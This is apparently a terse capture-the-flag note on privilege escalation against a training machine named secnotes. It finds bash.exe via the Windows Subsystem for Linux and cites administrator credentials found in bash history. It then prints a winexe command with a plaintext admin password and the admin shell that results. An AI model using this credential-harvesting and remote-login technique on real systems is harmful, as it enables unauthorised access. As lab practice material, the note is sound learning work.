9 privesc_3 bash.exe

# run this nothing happen
c:\Windows\System32\bash.exe
# finding if any other bash.exe
C:\Users\tyler\Desktop>where /R c:\ bash.exe
where /R c:\ bash.exe
c:\Windows\System32\bash.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe

# running the second path also didn't work for me,
# but as per walkthrough
# you get root bash and but not root on box
# exploring filesystem, bash history contains creds for admin

$ winexe -U '.\administrator%u6!4ZwgwOM#^OBf#Nwnh' //10.10.10.97 cmd.exe
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
secnotes\administrator